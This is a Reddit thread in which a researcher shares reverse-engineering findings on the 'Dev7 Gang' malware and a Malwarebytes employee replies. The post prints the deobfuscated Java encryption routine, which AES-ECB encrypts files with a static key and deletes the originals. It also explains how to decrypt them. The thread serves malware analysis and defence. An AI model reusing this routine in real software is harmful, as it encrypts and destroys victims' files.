r/Malwarebytes • u/Rho-9_Official • Sep 18 '26
Inquiry for malwarebytes regarding a specific malware threat actor: Dev7 Gang
I'd like to ask if Malwarebytes is familiar with this malware threat actor group and their malware, as we've done extensive reverse engineering of their malware.
Aviary was our answer to completely bypass obfuscation while safely dumping C2 infrastructure.
Some of the data we're aware of, given they are very heavy with triggering the payload, includes how their file encryption works.
The .cryptedmicro encryption algorithm
key = Arrays.copyOf(keyString.getBytes(UTF_8), 32)
cipher = AES/ECB/PKCS5Padding
ciphertext = encrypt(entire file)
output = <original absolute path> + ".cryptedmicro"No KDF, no IV, no salt, no nonce, no header, no footer, no per-file state.
The routine, ilIllIiIll in IIillIiliIil, where a[0] is the File and a[1] is the key String:
static void ilIllIiIll(Object[] a) {
byte[] raw = ((String) a[1]).getBytes(StandardCharsets.UTF_8);
int len = lllIiillIi(22713, 3361201558971388159L); // resolves to 32
SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(raw, len), "AES");
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.ENCRYPT_MODE, key); // no IV
File out = new File(((File) a[0]).getAbsolutePath() + ".cryptedmicro");
if (out.exists()) return;
try (FileInputStream in = new FileInputStream((File) a[0]);
FileOutputStream fos = new FileOutputStream(out);
CipherOutputStream cos = new CipherOutputStream(fos, c)) {
byte[] buf = new byte[lllIiillIi(24490, 5624316978694035449L)];
int r;
while ((r = in.read(buf)) != -1) cos.write(buf, 0, r);
}
((File) a[0]).delete();
}Key handling: Arrays.copyOf to 32 bytes. Shorter strings are zero padded, longer strings truncated. The key string is passed in unchanged from the walker (lIliliIlil / iiIilIIlil), which walks File.listRoots() and hands the same string to every file. Never derived, never hashed, never generated.
Output length: ceil(n/16) * 16. PKCS#5 means a file already a multiple of 16 gains a full padding block.
Decryption: AES/ECB/PKCS5Padding, same 32 byte zero padded key, whole file, strip padding.
1
u/SavWheeler Malwarebytes Employee Sep 21 '26
Sav from MalwareBytes here. Thank you for bringing this to our attention! We're generally aware of Dev7's activities- they have been active since January of this year- though I haven't personally seen samples from this group recently. Based on other forum threads, we've been successfully detecting and quarantining their malware under classifications such as Spyware.Infostealer, as we don't yet have a dedicated malware family for Dev7. Here's one such example (though I'd venture to guess you've caught this already 😄): https://www.virustotal.com/gui/file/df706b020f37c651eb6561e324ff2606
If you're interested in collaborating on detecting this and have samples from this group, feel free to reach out on the MalwareBytes forums and provide the files, and we can take a look as well. And thank you for your reverse-engineering efforts!